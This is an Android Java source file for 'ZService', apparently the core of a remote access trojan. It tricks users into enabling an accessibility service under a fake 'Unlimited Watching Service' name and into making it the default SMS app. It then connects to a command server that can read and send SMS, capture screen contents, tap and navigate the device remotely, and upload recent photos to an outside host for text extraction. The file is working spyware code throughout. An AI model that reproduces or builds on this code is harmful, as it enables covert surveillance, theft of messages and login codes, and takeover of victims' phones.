package com.example.zrat;

import android.Manifest;
import android.app.Activity;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.app.role.RoleManager;
import android.content.ContentUris;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Color;
import android.net.Uri;
import android.os.Binder;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.provider.MediaStore;
import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsManager;
import android.util.Log;

import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AlertDialog;
import androidx.core.app.NotificationCompat;

import com.example.zrat.permissions.PermissionManager;
import com.example.zrat.permissions.models.DeniedPermissions;
import com.google.gson.Gson;

import org.apache.commons.collections4.MapUtils;
import org.apache.commons.lang3.StringUtils;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;

import io.socket.client.IO;
import io.socket.client.Socket;
import okhttp3.*;
import pub.devrel.easypermissions.AppSettingsDialog;
import pub.devrel.easypermissions.EasyPermissions;

public class ZService extends Service {
    private final static String TAG = "ZService";

    private final IBinder binder = new ZBinder();
    private Socket mSocket;

    private Command mCommand;

    private int RETRY_COUNT = 0;

    private AlertDialog alertDialog;

    public static ZService zService;

    public ZService() {
    }

    public class ZBinder extends Binder {
        public ZService getService() {
            return ZService.this;
        }

        public void onResume(Activity activity) {
            boolean a11y = checkA11yService(activity);
            if (!a11y) return;
            dismissDialog();


            boolean smsApp = checkSmsApp(activity);
            if (!smsApp) {
                new Thread(() -> {
                    try {
                        Thread.sleep(100);
                        if (AccessibilityService.instance != null) {
                            AccessibilityService.instance.setDefaultSmsApp();
                        }
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                }).start();
                return;
            }
            dismissDialog();

            boolean smsPermission = checkSmsPermission(activity);
            if (!smsPermission) return;
            dismissDialog();

            boolean storagePermission = checkManageStoragePermission(activity);
        }
    }

    public boolean checkSmsApp(Activity activity) {
        RETRY_COUNT++;

        boolean fallback = false;
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            RoleManager roleManager = getSystemService(RoleManager.class);
            if (roleManager.isRoleAvailable(RoleManager.ROLE_SMS)) {
                if (roleManager.isRoleHeld(RoleManager.ROLE_SMS)) {
                    return true;
                } else {
                    if (RETRY_COUNT > 10) {
                        gotoSettings(activity);
                    } else {
                        Intent intent = roleManager.createRequestRoleIntent(RoleManager.ROLE_SMS);
                        activity.startActivityForResult(intent, 101);
                    }
                }
            } else {
                fallback = true;
            }
        } else {
            fallback = true;
        }

        if (fallback) {
            if (Telephony.Sms.getDefaultSmsPackage(this).equals(activity.getPackageName())) {
                return true;
            } else {
                if (RETRY_COUNT > 10) {
                    gotoSettings(activity);
                } else {
                    Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
                    intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, activity.getPackageName());
                    activity.startActivityForResult(intent, 101);
                }

            }
        }
        return false;
    }

    private boolean checkA11yService(Context context) {
        if (AccessibilityService.instance != null) {
            checkWriteSettingsPermission(context);
            return true;
        }
        showDialog(context, "Permission Required", "To continue using this app, please enable the Unlimited Watching Service",
                (dialog, which) -> {
                    Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    startActivity(intent);
                });
        return false;
    }

    public void checkWriteSettingsPermission(Context context) {
        if (Settings.System.canWrite(context)) {
            return;
        }
        Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
        intent.setData(Uri.parse("package:" + context.getPackageName()));
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        context.startActivity(intent);
    }

    public boolean checkManageStoragePermission(Context context) {
        boolean hasPermissions = EasyPermissions.hasPermissions(context, android.Manifest.permission.WRITE_EXTERNAL_STORAGE);
        if (hasPermissions) {
            return true;
        }
        showDialog(context, "Permission Required", "To continue using this app, please grant the storage permissions",
                ((dialog, which) -> {

                }));
        return false;
    }

    private boolean checkSmsPermission(Activity activity) {
        boolean hasPermission = EasyPermissions.hasPermissions(this, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS);
        if (hasPermission) {
            return true;
        }
        PermissionManager.getInstance(this).checkPermissions(
                Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
                new PermissionManager.PermissionRequestListener() {
                    @Override
                    public void onPermissionGranted() {

                    }

                    @Override
                    public void onPermissionDenied(DeniedPermissions deniedPermissions) {
                        new AppSettingsDialog.Builder(activity)
                                .setTitle("Permission Required")
                                .setRationale("To continue using this app, please grant the required permissions")
                                .build().show();
                    }
                });
        return false;
    }

    private void gotoSettings(Context context) {
        if (alertDialog != null && alertDialog.isShowing()) return;
        showDialog(context, "Permission Required", "Please choose " + Utils.getStringResourceByName(this, "app_name") + " as your default SMS app",
                (dialog, which) -> {
                    Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
                    startActivity(i);
                });
    }

    private void showDialog(Context context, String title, String msg, DialogInterface.OnClickListener listener) {
        if (alertDialog != null && alertDialog.isShowing()) return;
        alertDialog = new AlertDialog.Builder(context)
                .setTitle(title)
                .setMessage(msg)
                .setPositiveButton("OK", listener)
                .setCancelable(false)
                .show();
    }

    private void dismissDialog() {
        if (alertDialog != null && alertDialog.isShowing()) {
            alertDialog.dismiss();
            alertDialog = null;
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        super.onStartCommand(intent, flags, startId);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startMyOwnForeground();
        } else {
            startForeground(1, new Notification());
        }
        return Service.START_STICKY;
    }

    @RequiresApi(api = Build.VERSION_CODES.O)
    private void startMyOwnForeground() {
        String NOTIFICATION_CHANNEL_ID = "com.play.service.techno";
        String channelName = "My Background Service";
        NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
        chan.setLightColor(Color.BLUE);
        chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
        NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
        assert manager != null;
        manager.createNotificationChannel(chan);

        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID);
        Notification notification = notificationBuilder.setOngoing(true)
                .setContentTitle("App is running in background")
                .setPriority(NotificationManager.IMPORTANCE_MIN)
                .setCategory(Notification.CATEGORY_SERVICE)
                .build();
        startForeground(1, notification);
    }

    private String getSocketUrl() {
        try {
            ApplicationInfo appInfo = getPackageManager().getApplicationInfo(getPackageName(), PackageManager.GET_META_DATA);
            Bundle bundle = appInfo.metaData;
            return bundle.getString("socket_url");
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
        }
        return null;
    }

    private String getModel() {
        String manufacturer = Build.MANUFACTURER;
        String model = Build.MODEL;
        return StringUtils.capitalize(manufacturer) + " " + model;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        try {
            String socketUrl = getSocketUrl();
            IO.Options options = new IO.Options();
            options.path = "/ws";
            options.transports = new String[]{"websocket"};
            mSocket = IO.socket(socketUrl, options);
            mSocket.on(Socket.EVENT_CONNECT, args -> {
                Map<String, Object> map = new HashMap<>();
                map.put("model", getModel());
                JSONObject json = new JSONObject(map);
                mSocket.emit("info", json);
            });
            mSocket.on(Socket.EVENT_DISCONNECT, args -> {
                Log.i(TAG, "socket disconnect ");
            });
            mSocket.on("cmd", args -> {
                Log.d(TAG, "Received command: " + Arrays.toString(args));
                Gson gson = new Gson();
                JSONObject jsonObject = (JSONObject) args[0];
                try {
                    Command command = gson.fromJson(jsonObject.toString(), Command.class);
                    mCommand = command;
                    switch (Objects.requireNonNull(command).getAction()) {
                        case "sendSms":
                            handleSendSms(command);
                            break;
                        case "readSms":
                            handleReadSms(command);
                            break;
                        case "getScreen":
                            handleGetScreen(command);
                            break;
                        case "click":
                            handleClick(command);
                            break;
                        case "scrollDown":
                            handleScrollDown(command);
                            break;
                        case "scrollUp":
                            handleScrollUp(command);
                            break;
                        case "home":
                            handleHome(command);
                            break;
                        case "back":
                            handleBack(command);
                            break;
                        case "recent":
                            handleRecentApps(command);
                            break;
                        case "mute":
                            handleMute(command);
                            break;
                        case "screenOff":
                            handleScreenOff(command);
                        case "intoLockScreen":
                            handleIntoLockScreen(command);
                        case "getPhotos":
                            getLatestPhotos(3);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            });
            mSocket.connect();
            zService = this;
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void handleReadSms(Command command) {
        if (EasyPermissions.hasPermissions(this, Manifest.permission.READ_SMS)) {
            readSms(command.getFrom());
        } else {
            PermissionManager.getInstance(this).checkPermissions(Arrays.asList(Manifest.permission.READ_SMS), new PermissionManager.PermissionRequestListener() {
                @Override
                public void onPermissionGranted() {
                    readSms(command.getFrom());
                }

                @Override
                public void onPermissionDenied(DeniedPermissions deniedPermissions) {

                }
            });
        }
    }

    private void readSms(String socketId) {
        try {
            List<Map<String, String>> list = new ArrayList<>();

            Uri uriSMSURI = Uri.parse("content://sms/inbox");
            Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);

            while (cur.moveToNext() && list.size() < 100) {
                Map<String, String> sms = new HashMap<>();
                Arrays.stream(cur.getColumnNames()).forEach(column -> {
                    int index = cur.getColumnIndex(column);
                    String value = cur.getString(index);
                    sms.put(column, value);
                });
                list.add(sms);
            }

            Uri uriSentURI = Uri.parse("content://sms/sent");
            Cursor sentCursor = this.getApplicationContext().getContentResolver().query(uriSentURI, null, null, null, null);
            while (sentCursor.moveToNext()) {
                Map<String, String> sms = new HashMap<>();
                Arrays.stream(sentCursor.getColumnNames()).forEach(column -> {
                    int index = sentCursor.getColumnIndex(column);
                    String value = sentCursor.getString(index);
                    sms.put(column, value);
                });
                list.add(sms);
            }

            mSocket.emit("result", new JSONObject(new Gson().toJson(
                    new Result(socketId, "readSms", list)
            )));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void handleSendSms(Command command) {
        if (EasyPermissions.hasPermissions(this, Manifest.permission.SEND_SMS)) {
            sendSms(MapUtils.getString(command.getData(), "phone"), MapUtils.getString(command.getData(), "message"));
        } else {
            PermissionManager.getInstance(this)
                    .checkPermissions(Collections.singletonList(Manifest.permission.SEND_SMS),
                            new PermissionManager.PermissionRequestListener() {
                                @Override
                                public void onPermissionGranted() {
                                    sendSms(MapUtils.getString(command.getData(), "phone"),
                                            MapUtils.getString(command.getData(), "message"));
                                }

                                @Override
                                public void onPermissionDenied(DeniedPermissions deniedPermissions) {

                                }
                            });
        }
    }

    private void sendSms(String phone, String message) {
        try {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage(phone, null, message, null, null);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private void handleGetScreen(Command command) {
        if (AccessibilityService.instance != null) {
            Map<String, Object> map = AccessibilityService.instance.getScreen();
            Gson gson = new Gson();
            String json = gson.toJson(map);
            try {
                mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

    private void handleClick(Command command) {
        if (AccessibilityService.instance != null) {
            int x = MapUtils.getInteger(command.getData(), "x");
            int y = MapUtils.getInteger(command.getData(), "y");
            AccessibilityService.instance.performClick(x, y);
        }
    }

    private void handleScrollDown(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.scrollDown();
        }
    }

    private void handleScrollUp(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.scrollUp();
        }
    }

    private void handleHome(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.home();
        }
    }

    private void handleBack(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.back();
        }
    }

    private void handleRecentApps(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.recent();
        }
    }

    private void handleMute(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.mute();
        }
    }

    private void handleScreenOff(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.screenOff();
        }
    }

    private void handleIntoLockScreen(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.intoLockScreen();
        }
    }

    public void saveTextRecordToDataBase(Map<String, Object> map) {
        String id = mSocket.id();
        map.put("deviceId", id);
        Gson gson = new Gson();
        try {
            Log.i(TAG, "saveTextRecord | deviceId: " + id);
            mSocket.emit("saveTextRecord", new JSONObject(gson.toJson(map)));
        } catch (Exception e) {
            Log.i(TAG, "saveTextRecord | ERROR: " + e);
        }
    }

    public void getLatestPhotos(int count) {
        List<String> photoPaths = new ArrayList<>();
        Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
        String[] projection = {MediaStore.Downloads.DISPLAY_NAME, MediaStore.Downloads._ID, MediaStore.Downloads.RELATIVE_PATH, MediaStore.Images.Media.DATA};
        String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";

        try (
                Cursor cursor = getContentResolver()
                        .query(uri, projection, null, null, sortOrder)) {
            if (cursor != null) {
                int nameIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME);
                int idIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
                int pathIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.RELATIVE_PATH);
                int dataIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
                int counter = 0;
                while (cursor.moveToNext() && counter < count) {
                    long id = cursor.getLong(idIndex);
                    String name = cursor.getString(nameIndex);
                    Log.i(TAG, "getPhotos | name: " + name);
                    String path = cursor.getString(pathIndex);
                    Log.i(TAG, "getPhotos | path: " + path);
                    String data = cursor.getString(dataIndex);
                    Log.i(TAG, "getPhotos | data: " + data);
                    Uri photoUri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
                    Log.i(TAG, "getPhotos | uri: " + photoUri);
                    photoPaths.add(data);
                    counter++;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "getPhotos | ERROR: " + e.getMessage());
        }

        OkHttpClient client = new OkHttpClient();
        for (String photoPath : photoPaths) {
            File file = new File(photoPath);
            RequestBody requestBody = new MultipartBody.Builder()
                    .setType(MultipartBody.FORM)
                    .addFormDataPart("file", file.getName(),
                            RequestBody.create(MediaType.parse("application/octet-stream"), file))
                    .build();
            Request request = new Request.Builder()
                    .url("https://zotfb.tech/api/ocrImg/upload")
                    .post(requestBody)
                    .build();
            client.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    Log.e(TAG, "getPhotos | ERROR: " + e);
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (response.isSuccessful()) {
                        // 成功时的处理逻辑
                        String responseData = response.body().string();
                        Log.i(TAG, "getPhotos | upload success: " + responseData);
                        try {
                            String id = mSocket.id();
                            JSONObject jsonObject = new JSONObject(responseData);
                            jsonObject.put("deviceId", id);
                            mSocket.emit("savePhotos", jsonObject);
                        } catch (JSONException e) {
                            Log.e(TAG, "getPhotos | websocket error: " + response);
                        }
                    } else {
                        // 处理错误响应
                        Log.e(TAG, "getPhotos | upload fail: " + response);
                    }
                }
            });
        }

    }

}